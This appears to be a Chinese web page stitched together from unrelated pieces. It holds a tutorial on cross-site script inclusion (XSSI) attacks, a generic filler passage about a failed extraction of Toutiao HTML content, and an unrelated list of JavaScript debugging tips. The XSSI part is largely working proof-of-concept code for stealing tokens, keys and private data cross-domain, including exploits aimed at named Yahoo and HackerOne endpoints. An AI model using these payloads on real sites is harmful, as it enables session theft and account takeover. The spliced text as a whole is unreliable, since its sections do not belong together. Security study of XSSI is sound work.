同源策略
同源策略是Web應用程序安全模型中最基本也是最核心的策略。
現在所有支持JavaScript的瀏覽器都會使用這個策略。
所謂同源是指,域名,協議,端口相同。
同源策略規定,不同源的客戶端腳本(javascript、ActionScript)在沒明確授權的情況下,不能讀寫對方的資源。
此策略可防止一個頁面上的惡意腳本通過該頁面的Document Object Model訪問另一網頁上的敏感數據。
為了滿足同源策略,瀏覽器對不同訪問行為進行了限制,限制規則一般如下:
XSSI原理
XSSI漏洞全稱為跨站腳本包含漏洞,攻擊者通過使用<script>標簽(所有帶src或href屬性的標簽以及部分其他標簽可以跨域)跨域包含特定文件/頁面
可以竊取符合JavaScript格式的文件中的敏感信息。
攻擊者會將可泄露用戶信息的JavaScript文件包含進來。
這里獲取的目標數據,即敏感信息,大致分為幾類:
認證憑據
CSRF token
用戶個人信息等
XSSI、XSS、CSRF的區別
XSS 攻擊是指攻擊者在網站上注入惡意的客戶端代碼,通過惡意腳本對客戶端網頁進行篡改,從而在用戶瀏覽網頁時,對用戶瀏覽器進行控制或者獲取用戶隱私數據的一種攻擊方式。
攻擊者對客戶端網頁注入的惡意腳本一般包括 JavaScript,有時也會包含 HTML 和 Flash。
有很多種方式進行 XSS 攻擊,但它們的共同點為:將一些隱私數據像 cookie、session 發送給攻擊者,將受害者重定向到一個由攻擊者控制的網站,在受害者的機器上進行一些惡意操作
CSRF(跨站請求偽造),指冒充用戶發起請求(在用戶不知情的情況下),完成一些違背用戶意愿的請求(如惡意發帖,刪帖,改密碼,發郵件等)通常來說CSRF是由XSS實現的,所以CSRF時常也被稱為XSRF[用XSS的方式實現偽造請求]。
XSS更偏向于代碼實現(即寫一段擁有跨站請求功能的JavaScript腳本注入到一條帖子里,然后有用戶訪問了這個帖子,這就算是中了XSS攻擊了),CSRF更偏向于一個攻擊結果,只要發起了冒牌請求那么就算是CSRF了
而XSSI(跨站請求包含)是XSS的一種形式,即瀏覽器不會阻止網頁加載圖像和文字等資源,這些資源通常托管在其他域和服務器。
例如,如果abc銀行有一個腳本用于讀取用戶的私人賬戶信息,攻擊者可以在其自己的惡意網站包含這個腳本,當abc銀行的客戶訪問攻擊者的網站時,攻擊者就可以從abc銀行的服務器提取用戶信息。
從表面上看,XSSI和CSRF看起來很相似,因為在這兩種情況下,請求都是從惡意頁面發送到另一個域的,并且在兩種情況下,請求都是在登錄用戶的上下文中執行的。
關鍵區別在于目標。
在CSRF中,攻擊者希望在受害者頁面內執行惡意操作,例如在網上銀行應用程序中進行轉帳。
在XSSI中,攻擊者想要跨域泄露數據,以便再執行攻擊。
與jsonp劫持的關系
jsonp劫持等利用js對插入函數進行插入惡意代碼,將敏感數據發送到攻擊者的服務器,實際上就是對存在jsonpjack持守入侵的網頁進行發起一次請求,讓其受害者客戶端執行插入的惡意代碼
而xssi主要獲取服務器為每個客戶端生成的動態js文件中的敏感數據,達到信息定向的目的,這種信息可能包括用戶的登錄憑證,嚴重可導致任意用戶賬號接管。
XSSI通常區分為三種情況。
但是利用方式是相似甚至是相同的(就像反射與存儲的XSS)。我們可以將三種情況區分如下:
靜態JavaScript(常規XSSI)
直接訪問該js即可獲取敏感信息,但一般都是攻擊認證后包含敏感信息的js
假設敏感內容設定在一個全局變量中,如下面的現實例子:
var privateKey="-----BEGIN RSA PRIVATE KEY-----
....
-----END RSA PRIVATE KEY-----",
keys=[
{ name:'Key No 1', apiKey:'0c8aab23-2ab5-46c5-a0f2-e52ecf7d6ea8', privateKey: privateKey },
{ name:'Key No 2', apiKey:'1e4b8312-f767-43eb-a16b-d44d3e471198', privateKey: privateKey }
];
利用POC:
<html>
<head>
<title>Regular XSSI</title>
<scriptsrc="https://www.vulnerable-domain.tld/script.js"></script>
</head>
<body>
<script>
alert(JSON.stringify(keys[0]));
</script>
</body>
</html>
1.敏感信息存儲在全局變量
http://vuln.com/dynamic.js
var token='secret';
利用POC
http://attacker.com/xssi.html
<!DOCTYPE html>
<html>
<head>
<title>xssi</title>
</head>
<body>
<scriptsrc="http://vuln.com/dynamic.js"></script>
<script>alert(token);</script>
</body>
</html>
2.敏感信息被外部函數處理,可以重寫函數
http://vuln.com/dynamic1.js
(function(){
var token='secret';
doSomeThing(token);
})();
利用POC:
http://attacker.com/xssi1.html
<!DOCTYPE html>
<html>
<head>
<title>xssi1</title>
</head>
<body>
<script>function doSomeThing(data){alert(data);}</script>
<scriptsrc="http://vuln.com/dynamic1.js"></script>
</body>
</html>
3.利用原型鏈竊取敏感信息
對于非常規情況,可以考慮利用原型鏈獲取數據
http://vuln.com/dynamic2.js
(function(){
var token='secret';
var data=token.trim();
})();
利用POC:
http://attacker.com/xssi2.html
<!DOCTYPE html>
<html>
<head>
<title>xssi2</title>
</head>
<body>
<script>String.prototype.trim=function(){alert(this);}</script>
<scriptsrc="http://vuln.com/dynamic2.js"></script>
</body>
</html>
1.IE bug導致錯誤信息泄漏 (ie 9 和 ie 10)
為了防止js錯誤信息跨域泄漏,對于外部加載的js文件,現在主流的瀏覽器只有固定的錯誤信息,比如“script error”,當是在ie9與ie10,情況不一定如此。
一般來說,在外部js發生語法錯誤的情況下,瀏覽器只會提供固定的錯誤信息,
但是當在runtime發生錯誤的情況下,瀏覽器會提供詳細的錯誤信息。
比如”foo 未定義”之類的,某些瀏覽器一旦允許外域js回復詳細的錯誤信息,就會導致信息泄漏。
就是說,當某個網頁的內容能被js識別為javascript格式的話,那么就可能通過錯誤信息獲取到目標的內容。
比如,目標網頁
HTTP/1.1200 OK
Content-Type: text/csv
Content-Disposition: attachment; filename="a.csv"
Content-Length:13
1,abc,def,ghi
攻擊者設置錯誤顯示
#!html
<SCRIPT>window.onerror=function(err){alert(err)}</SCRIPT>
<!-- load target CSV -->
<SCRIPT src="(target data's URL)"></SCRIPT>
一旦加載成功,網頁則會顯示 “‘abc’ is undefined”
會出現這種情況是因為瀏覽器將目標識別為javascript,那么abc就會被識別為某個未定義的變量。
當為這種情況的時候,瀏覽器就允許頁面捕捉來自不同網頁的錯誤信息。
做一個總結就是,有被利用的可能性的數據都是可以被識別,或者通過某種方式識別為有效js的數據。
不過,稍微需要注意的一點,出現該漏洞的只有ie 9 和 ie 10。
2.通過UTF-16編碼獲取其它類型的數據 (ie版本小于10)
大家可以看到,上面的東西只在csv這種操蛋的玩意上有用,
所以我們做了更多的研究看看能否獲取不同格式的數據,
之后我們發現通過UTF-16編碼可以達到我們的目標。
其實本身是一個很簡單的技巧 比如頁面a ,我們加入 charset=”UTF-16BE”
#!html
<!--set an error handler -->
<SCRIPT>window.onerror=function(err){alert(err)}</SCRIPT>
<!-- load target JSON -->
<SCRIPT src="(target data's URL)" charset="UTF-16BE"></SCRIPT>
然后json數據長這個逼樣
HTTP/1.1200 OK
Content-Type: application/json
Content-Disposition: attachment; filename="a.json"
Content-Length:39
{"aaa":"000","bbb":"111","ccc":"222"}
當響應缺少字符集規范的時候,會被charset屬性強制轉碼為固定的編碼,我們用這個技巧擼掉了許多有名的瀏覽器,包括ie 9。
測試這段代碼之后,我們給自己彈了個窗。
我們可以看到一串亂碼,因為,當瀏覽器獲取目標網頁的數據,之間經過了一次編碼,然后到我們的頁面上經過charset制定的字符集進行了一次解碼。
我們能很簡單的得出一個結論就是我們能通過對亂碼的再次編碼來獲得原有的信息
不過需要注意的就是只有當編碼后的信息能夠被瀏覽器識別為有效的js標示符的時候攻擊才有可能成功,這是一個重要的條件,
對于不同的平臺的編碼是有所不同的,在ie上可以被識別為有效js標示符的字符是多于其他平臺的,至于其他來說ie的 ECMAScript規范 跟其他瀏覽器總體沒什么不同。
打個比方對于ie來說 ‘3q’ (U+3371, ?) 在 unicode編碼中會被認為是 屬于 “Symbol, Other [So]”,就是符號的一種。
總的來說這種形式的認定不應該發生在任何瀏覽器中,不過ie可能比較2b一些。
我們花了很多時間研究了什么樣的組合,能夠被瀏覽器認定為有效的js標示符,當字符編碼為UTF-16的時候的數字字母組合,ie 9將其99.3%認為是有效的js標示符,高于chrome和firefox。
具體結果見下圖
需要注意的一件事就是在ie 10 或者更高的版本,可能攻擊無法奏效,因為ie 10 拒絕將沒有空字節活著bom的編碼為utf16。
3.chrome/firefox 中 Harmony proxy bug利用
Harmony是一個ECMAScript 6中的新功能 ,類似于java的反射類,其中定義了對于對象屬性的查找,分配,函數調用
在我們針對這些新特性的研究過程中發現該功能可以用于xssi的攻擊中
#!html
<!--set proxy handler to window.__proto__ -->
<SCRIPT>
var handler={
has:function(target, name){alert("data="+ name);returntrue},
get:function(target, name){return1}
};
window.__proto__=newProxy({}, handler);
</SCRIPT>
<!-- load target CSV -->
<SCRIPT src="(target data's URL)"></SCRIPT>
注意其中的window.proto 定義了一個代理對象,當訪問一個未定義的全局變量,就會出發handler進行處理。
然后csv文件長這樣:
HTTP/1.1200 OK
Content-Type: text/csv
Content-Disposition: attachment; filename="a.csv"
Content-Length:13
1,abc,def,ghi
當訪問攻擊頁面的時候如果攻擊成功那么久會收到 “data=abc”, “data=def”, “data=ghi”的彈窗,我們在firefox和chrome都得到了驗證。
4.窮舉
假設一個攻擊頁面通過js 加載了下面的csv文件。
HTTP/1.1200 OK
Content-Type: text/csv
Content-Disposition: attachment; filename="a.csv"
Content-Length:8
1,xyz123
一旦加載我們就會得到一個 xyz123未定義的錯誤
換句話說,如果我們在加載外部文件之前定義了這個標示符,那么我們就不會受到這個錯誤,同時我們也可以判斷xyz123是存在于外部文件中的。
也就是說我們需要一個合適的檢測錯誤是否發生的方式。
一般情況下瀏覽器是不提供詳細的外部錯誤信息,不過仍然會返回一個通用的錯誤標示。
所以說窮舉信息還是是存在可能性的。
總的來說我們發現三種窮舉的方式
第一種是二元搜索。
比如你知道目標會是 “xyz121”, “xyz122”, “xyz123” 和 “xyz124″中的其中一個,可以先定義前兩個變量然后看有無錯誤爆出,然后定義后兩個,然后再縮小目標。
第二種是使用 js 的getter,像下面醬紫
#!html
<!--set getters -->
<SCRIPT>
Object.defineProperty(window,"xyz121",{get:function(){alert("value=xyz121")}});
Object.defineProperty(window,"xyz122",{get:function(){alert("value=xyz122")}});
Object.defineProperty(window,"xyz123",{get:function(){alert("value=xyz123")}});
Object.defineProperty(window,"xyz124",{get:function(){alert("value=xyz124")}});
</SCRIPT>
<!-- load target CSV -->
<SCRIPT src="(target data's URL)"></SCRIPT>
就是目標值訪問 window.**|||||| 會觸發上面的規則。
第三種是使用vbscript來獲取json數組
這個思路來自Hasegawa做的研究,組合vbscript和json進行攻擊(4]
目標頁面長這個樣子
HTTP/1.1200 OK
Content-Type: application/json
Content-Disposition: attachment; filename="a.json"
Content-Length:12
[1,"xyz123"]
然后再我們的攻擊界面中調用vbscript
#!html
<SCRIPT language="vbscript">
Sub[1,"xyz121"]:MsgBox"value=xyz121":EndSub
Sub[1,"xyz122"]:MsgBox"value=xyz122":EndSub
Sub[1,"xyz123"]:MsgBox"value=xyz123":EndSub
Sub[1,"xyz124"]:MsgBox"value=xyz124":EndSub
</SCRIPT>
<!-- load target JSON asVBScript-->
<SCRIPT src="(target data's URL)" language="vbscript"></SCRIPT>
跟上面的攻擊相似,都是通過窮舉來獲取目標值。不過vbscript只試用于ie
5.csv獲取
上面獲取csv的信息只在目標的字符串沒被引號擴起來的情況下,不過同樣是一些小技巧能夠使我們繞過這一限制。
讓我們假設一個csv長這個b樣。
1,"___","[email protected]","03-0000-0001"
2,"foo","[email protected]","03-0000-0002"
...
98,"bar","[email protected]","03-0000-0088"
99,"___","[email protected]","03-0000-0099"
假設攻擊者能夠插入自己的字符串,那么只需要根據RFC相關CSV (RFC 4180 (12])中的規定來添加一個雙引號就可以bypass這個限制。
for example
1,"\"",$$$=function(){/*","[email protected]","03-0000-0001"
2,"foo","[email protected]","03-0000-0002"
...
98,"bar","[email protected]","03-0000-0088"
99,"*/}//","[email protected]","03-0000-0099"
一個比較蛋疼的問題就是如何獲取多行的信息,因為多行在js中是違法的
上面的例子里,我們使用 .toString() 獲取函數遠嗎來達到攻擊目標數據的目的。
這種攻擊方式試用于所有的瀏覽器。
一種獲取多行內容的方式可以在chrome和firefox中奏效,就是ECMAScript6模版字符串中通過反引號來獲取多行內容。
雅虎XSSI漏洞實現用戶信息竊取
在雅虎(Yahoo)漏洞眾測項目中,通過BurpSuite來進行抓包分析,發現下圖的請求:
測試發現是JSONP服務端,在雅虎網站API中,.crumb 值其實就是一個隨機字符串
它與用戶的session和身份驗證值相關,并且如果在該請求中,GET參數 .crumb 值無效的話,其響應如下:
如果能以某種方式去竊取到受害者的有效.crumb 值的話,那么就能竊取到對方的具體賬號信息值了。
因此,在BurpSuite的抓包中來查找所有包含有效 .crumb 值的請求,最終,發現了在某個動態的Javascript文件存在這樣的信息
該Javascript文件位于
https://messenger.yahoo.com/embed/app.js。
源代碼如下:
這個XSSi 漏洞原理其實是這樣的,它允許攻擊者繞過原始邊界竊取特定類型數據,
利用了script標記的src屬性來突破同源策略( SOP),也即在script標記中,瀏覽器不會阻止網頁加載圖像和文字等第三方資源。
因此,為了竊取
https://messenger.yahoo.com/embed/app.js
中的有效回調 .crumb 值,然后把它放置在鏈接
https://jsapi.login.yahoo.com/w/device_users?.crumb=POR1.kRjsx
中進行請求,以獲取到相關用戶的session信息,POC代碼如下:
<html>
<head>
<title>Yahoo XSSi PoC</title>
</head>
<body>
<divstyle="width:60%; margin-right:auto; margin-left:auto; margin-bottom:30px;">
<h1style="text-align: center;">Proof of Concept</h1>
<b>Dataset 1:</b>
<divid="content1"style="width:100%; border:1px solid black; padding:10px; overflow: scroll; font-family: monospace;"></div>
<br/>
<b>Dataset 2:</b>
<divid="content2"style="width:100%; border:1px solid black; padding:10px; overflow: scroll; font-family: monospace;"></div>
</div>
<script>
function processDeviceUsers(data){
document.getElementById("content1").innerHTML=JSON.stringify(data);
}
window.onload=function(){
var config={};
config_data={};
config.merge=function(data){ config_data=data };
iris.initConfig(config);
document.getElementById("content2").innerHTML=JSON.stringify(config_data);
var src="https://jsapi.login.yahoo.com/w/device_users?.crumb="+ config_data.session.logoutCrumb;
var s=document.createElement('script');
s.setAttribute('src', src);
document.body.appendChild(s);
}
</script>
<scriptsrc="https://messenger.yahoo.com/embed/app.js"></script>
<scriptsrc="https://code.jquery.com/jquery-3.3.1.min.js"></script>
</body>
</html>
效果:
hackerone漏洞:如何利用XSSI竊取多行字符串
由于瀏覽器不會阻止一個域名中的頁面直接引用其他域名的資源
所以我們可以在script標簽中引入第三方域名的資源,然后觀察其運行情況
但我們現在還無法讀取到來自第三方域名script標簽中的內容。
需要注意的是,包含script標簽的不一定必須是JS文件,文件開頭也無需標注text/javascript,而且文件的擴展名也并非一定要是“.js”。
hackerone存在漏洞的地址是:
https://hackerone.com/reports/12345/export/raw?include_internal_activities=true
這是“導出”功能的一個部分,它允許我們查看或下載原始報告內容。
點擊之后,瀏覽器便會發送上圖所示的GET請求。
這是一個XHR請求,并帶有一個反CSRF令牌。
我們可以在瀏覽器中看到GET請求所對應的完整響應信息:
為了跨域泄漏報告(Report)的內容,所有的語句必須是有效的JavaScript語句。
以下是報告demo:
第一行是一條標記語句(“Title”后面跟著的是用戶提供的標題),標記語句是一種有效的JavaScript語句,后面可以跟自己的輸入參數。
為了獲取到多行字符串數據,這里還要用到反引號( )。
接下來,在結尾的反引號中添加一條注釋來作為字符串結束的標志。
現在,可以script標簽中嵌入上面給出的URL地址,然后就遠程提取出所需要的數據了
POC如下:
<!DOCTYPE html>
<html>
<head>
<metacharset='utf-8'/>
<script>
//Tagged template literals
function demo( strings){
alert(strings);
}
</script>
</head>
<body>
<scripttype='text/ecmascript'src='https://hackerone.com/reports/207802/export/raw?include internal_activities=false '></script>
</body>
</html>
目前只知道兩種控制JavaScript多行字符串的方法(串聯和反引號轉義)
ECMAScript 6也引入了一種箭頭函數(Arrow_Functions),它允許開發人員使用簡短的字符來定義函數。
下面是一個簡單的例子:
除此之外,模版字符串(Template Literals)則是一種更簡單的多行字符串處理方式。
需要這些資料&工具的朋友們可以關注+轉發一波 私信【資料】即可免費獲取!
對“提取頭條HTML內容失敗”這一問題,分析其可能的根本原因和應對策略對于確保信息的有效傳播至關重要。這一情況通常涉及技術性挑戰或信息源的限制,以下是對這些問題的深入探討及應對措施。
技術性問題
首先,技術性問題是導致信息提取失敗的常見原因之一。例如,網絡連接不穩定或服務器故障可能會影響數據的正常獲取。當遇到這種情況時,建議檢查網絡連接,確保穩定性。此外,刷新頁面或使用不同的瀏覽器也可能解決一些臨時的技術問題。如果問題依舊,可以考慮使用其他數據提取工具或聯系技術支持尋求幫助。
網站限制
網站設置防抓取機制也是一個重要原因。有些網站為了保護自身內容或避免數據被過度采集,可能會限制自動提取數據的操作。這種情況下,可以嘗試訪問網站的官方API(如果提供的話),或直接聯系網站的管理團隊獲取所需的數據。如果可能,尋求正式的數據授權或合作也是一種可行的解決方案。
格式不兼容
HTML格式的變化也可能導致提取工具無法正常工作。不同網站可能使用不同的HTML結構,更新或修改這些結構可能導致原有提取方法失效。解決這一問題的辦法是根據最新的HTML結構調整提取方法,或者使用更為靈活的數據解析工具。這些工具能夠適應不同的網站格式,提高提取的成功率。
信息更新
網站內容的更新可能會導致數據提取失敗。例如,頁面布局的更改或內容的移動都可能使提取工具無法定位到原有的信息。對此,定期檢查并更新提取腳本,以適應網站的變化,是一種有效的解決策略。同時,也可以利用網站的RSS源或其他數據更新機制,確保獲取最新的信息。
數據準確性
在處理信息提取失敗時,確保信息的準確性和可靠性是關鍵。如果提取失敗導致信息不全或不準確,可以通過交叉驗證其他可靠來源的信息來補充和修正。多方驗證數據來源,不僅能提高信息的可信度,還能避免因為技術問題導致的誤導。
應對措施
面對提取頭條HTML內容失敗的問題,制定一套系統的應對措施非常重要。首先,建立一套備份方案,確保在主渠道出現問題時,能夠迅速轉向備用數據源。其次,保持技術手段的靈活性,定期更新和維護數據提取工具,以應對不同格式和技術問題。最后,維護與信息提供方的良好關系,及時獲取信息更新和變更通知,是確保信息流暢傳播的有效途徑。
通過這些策略,可以有效解決信息提取失敗的問題,保證信息的準確傳遞。這不僅有助于提高新聞報道的質量,也能確保讀者獲取到最為準確和及時的信息。
試和故障排除是軟件開發人員和工程師的重要技能。這些技能涉及識別和解決軟件應用程序中的問題、漏洞和錯誤。有效的調試不僅能解決直接問題,還能提高代碼質量并改進開發過程。在本文中,我們將探討 JavaScript 有效調試和故障排除的 10 個寶貴技巧和方法,并提供實際的示例。
無論您是經驗豐富的開發人員,還是剛剛開始 Coding 之旅,這些技巧都將幫助您像專家一樣進行調試。通過實施這些技巧,您將獲得解決 JavaScript 問題的信心和效率:
在深入研究代碼之前,清楚地了解當前的問題至關重要。與相關方進行交流,收集關于問題的詳細信息,并在可能的情況下重現問題。這一步驟為成功的故障排除奠定基礎。
示例:
假設您正在開發一個 Web 應用程序,用戶報告稱單擊按鈕沒有反應,不能正常提交記錄。通過重現問題并分析用戶的操作,您可以將問題縮小到特定的函數調用上。
const submitButton=document.getElementById('submit')
submitButton.addEventListener('click', ()=> {
// Perform the desired action
});
分治法將您的代碼分解為較小的部分,并獨立測試每個組件。這種方法有助于隔離有問題的區域,并縮小尋找錯誤的范圍。使用console.log 語句或現代調試(debugger)工具檢查中間結果,并確定問題出現在哪里。
示例:
將代碼分解成更小的部分,并獨立測試每個組件。這種方法有助于隔離有問題的區域,縮小查找錯誤的范圍。使用 console.log 語句或現代調試工具檢查中間結果,找出問題所在。
示例
假設您有一個復雜的算法,用于對一個數組進行排序,但結果不正確。通過將排序邏輯拆分為較小的函數并記錄中間步驟,您可以確定引入錯誤的算法部分。
function sortArray(array) {
// Divide and conquer by splitting the sorting logic.
const sortedLeft=mergeSort(array.slice(0, array.length / 2));
const sortedRight=mergeSort(array.slice(array.length / 2));
// Merge the sorted parts.
return merge(sortedLeft, sortedRight);
}
function mergeSort(array) {
// Perform the sorting algorithm.
console.log(‘Sorting array:’, array);
// …
}
function merge(left, right) {
// Merge the sorted arrays.
console.log('Merging:', left, right);
// ...
}
現代 Web 瀏覽器提供了功能強大的開發工具,這些工具包含了很多有價值的功能。這些工具包括 JavaScript 控制臺、網絡分析器、DOM檢查器、性能分析器等等。利用這些工具可以檢查變量、跟蹤函數調用、分析網絡請求和診斷性能瓶頸。
示例:
假設你遇到了一個 AJAX 請求不返回預期數據的問題。使用瀏覽器開發工具中的網絡分析器,你可以檢查請求和響應的細節、頭部和載荷,以識別異常。
// Create a new XMLHttpRequest object.
var xhr=new XMLHttpRequest();
// Open a GET request to the API endpoint.
xhr.open('GET', 'https://api.example.com/data', false);
// Send the request.
xhr.send();
// Check the response status.
if (xhr.status===200) {
console.log('Received data:', xhr.responseText);
// Process the received data.
} else {
console.error('Error fetching data:', xhr.status);
}
JavaScript 提供了幾種調試技巧來幫助你。在代碼中設置斷點,可以在特定的位置暫停執行并檢查變量的值。逐行調試代碼,以了解代碼的流程并找出錯誤發生的地方。現代集成開發環境(IDE)通常具有內置的調試功能,簡化了這個過程。
此外,你可以在代碼中使用 debugger 語句(小懶在開發中經常使用哦)。執行這個語句時,會觸發瀏覽器的調試工具,允許你檢查變量、逐行調試代碼并定位問題。
下面的代碼顯示了如何添加一個 debugger 語句來在調用函數時調試。
function troubleshootCode() {
...
...
// 進行潛在錯誤的調試、逐行調試等操作。
debugger;
...
...
}
示例:
假設你在一個循環中遇到了意外的行為。通過在循環內設置一個斷點,你可以檢查迭代變量并分析循環的行為,幫助你找出問題的原因。
for (let i=0; i < array.length; i++) {
// 在下面的行上設置斷點以檢查迭代變量。
console.log('迭代:', i, '值:', array[i]);
// 其他代碼。
}
通過在 console.log 語句上設置斷點,可以暫停循環的執行并檢查當前迭代的索引(i)和相應的值 array[i]。這樣可以分析循環的行為并識別出意外的值或邏輯。
調試的另一個有用工具是 console.trace() 方法。它將堆棧跟蹤輸出到控制臺,顯示導致當前代碼點的函數調用序列。
堆棧跟蹤錯誤示例:
假設你有以下代碼片段遇到了錯誤。
function divide(a, b) {
if (b===0) {
throw new Error('除以零錯誤');
}
return a / b;
}
function calculateRatio(x, y) {
const ratio=divide(x, y);
return ratio;
}
function performCalculation() {
try {
const result=calculateRatio(10, 0);
console.log('結果:', result);
} catch (error) {
console.error('發生錯誤:', error.message);
console.trace();
}
}
performCalculation();
在這個示例中,當調用 calculateRatio(10, 0) 時,遇到了除以零的錯誤,拋出一個帶有消息“除以零錯誤”的錯誤對象。然后使用 console.trace() 方法將堆棧跟蹤輸出到控制臺。
當你運行這段代碼時,你會在控制臺中看到以下堆棧跟蹤。
An error occurred: Division by zero
at divide (script.js:3:11)
at calculateRatio (script.js:8:19)
at performCalculation (script.js:14:17)
at script.js:18:1
堆棧跟蹤顯示錯誤發生在 divide() 函數的第3行,該函數被calculateRatio()函數于第8行調用,而 calculateRatio() 函數又被 performCalculation() 函數于第14行調用。最終,在第18行觸發了該錯誤。
通過檢查堆棧跟蹤,您可以追蹤函數調用的流程并確定錯誤源自哪些具體行。
添加斷言并編寫單元測試可以幫助檢測錯誤并監視代碼的正確性。斷言在特定點驗證某些條件是否成立,幫助您及早捕獲問題。單元測試確保您的函數和組件對不同輸入產生預期的輸出。
示例:
假設在一個計算數組的求和函數中遇到了一個bug。編寫一個單元測試來驗證不同輸入數組的預期結果,可以快速確定bug是否出現在計算邏輯中。
function sumArray(array) {
let sum=0;
for (let i=0; i < array.length; i++) {
sum +=array[i];
}
return sum;
}
// 斷言檢查[1, 2, 3]的和是否為6
console.assert(sumArray([1, 2, 3])===6, '求和結果不正確');
// 更多測試用例...
好消息: 現在Node.js 已經原生支持測試運行器,可以不用依賴 Mocha、Jest 等單元測試框架來書寫測試用例了,詳細參考【xxx】
使用斷言和編寫全面的單元測試,您可以快速捕獲潛在的問題并確保您的函數產生預期的結果。這種方法有助于在代碼演進的同時保持代碼的正確性。
當遇到 “undefined is not a function” 錯誤時,堆棧跟蹤會顯示函數調用的順序。通過檢查這些函數中相關的行號和變量,可以確定問題的源頭。
示例:
function calculateTotal(price, quantity) {
return price * quantity;
}
function displayTotal() {
const price=getProductPrice(); // 假設這個函數導致了錯誤。
const quantity=getQuantity();
const total=calculateTotal(price, quantity);
console.log('總數:', total);
}
displayTotal();
在這個示例中,如果 getProductPrice() 函數是undefined,錯誤消息和堆棧跟蹤將幫助你識別問題的源頭。
在處理復雜的數據轉換時,記錄中間數據結構可以揭示不一致性或意外更改,從而更接近問題的根本原因。
示例:
function processData(data) {
console.log('輸入數據:', data);
// 執行數據轉換。
console.log('轉換后的數據:', transformedData);
// 執行更多操作。
console.log('最終的結果數據:', finalResultantData);
}
const data=fetchData(); // 假設這個函數獲取數據。
processData(data);
可以通過分析記錄的值來了解數據的轉換方式,以及通過記錄輸入、轉換后和最終結果數據來識別問題是否產生了變化。
在進行故障排除時,可以查閱文檔、論壇和在線資源以獲取洞察和解決方案。像 Stack Overflow、MDN Web Docs、官方文檔等,可以為常見的JavaScript問題提供有價值的信息。
例如,假設你遇到了與特定 JavaScript 方法有關的錯誤。在這種情況下,查閱官方文檔可以提供解釋、使用示例和可能的解決方案。
創建一個最小化、隔離的代碼版本來重現問題有助于簡化故障排除過程并理解根本原因。
例如,如果在一個 React 組件中遇到了一個bug,可以創建一個獨立的沙箱項目或CodePen,只包含必要的代碼。這種隔離可以幫助確定問題是來自組件還是更復雜的應用中的其他因素。
當你已經盡盡全力進行故障排除時,尋求新的方向可能是有價值的。與其他開發人員交流,參加代碼審查會議,或者與團隊合作以獲得洞見和潛在解決方案。
例如,向同事展示你的代碼,或者加入一個開發者社區,你可以討論問題并尋求建議。其他開發人員可能會提供不同的視角或方法,幫助你發現問題。
掌握良好的開發調試技巧可以顯著提升軟件開發人員故障排查、日常研發的效率。通過以上這些技巧和建議,你可以不斷優化故障排除方法,增強代碼檢測和錯誤修復能力,讓自己快速成為一個技術嫻熟的 JavaScript 開發人員。
最后,小懶建議開發者做好 Case Study,將日常遇到的問題的原因、排查步驟、修復方案記錄下來,作為團隊或者個人的重要知識庫維護起來,方便團隊每個人可以從歷史的經驗教訓中獲益,從而更好地迎接未來的挑戰。
如果本文對您有幫助,歡迎關注、點贊和轉發,感謝您的支持!
*請認真填寫需求信息,我們會在24小時內與您取得聯系。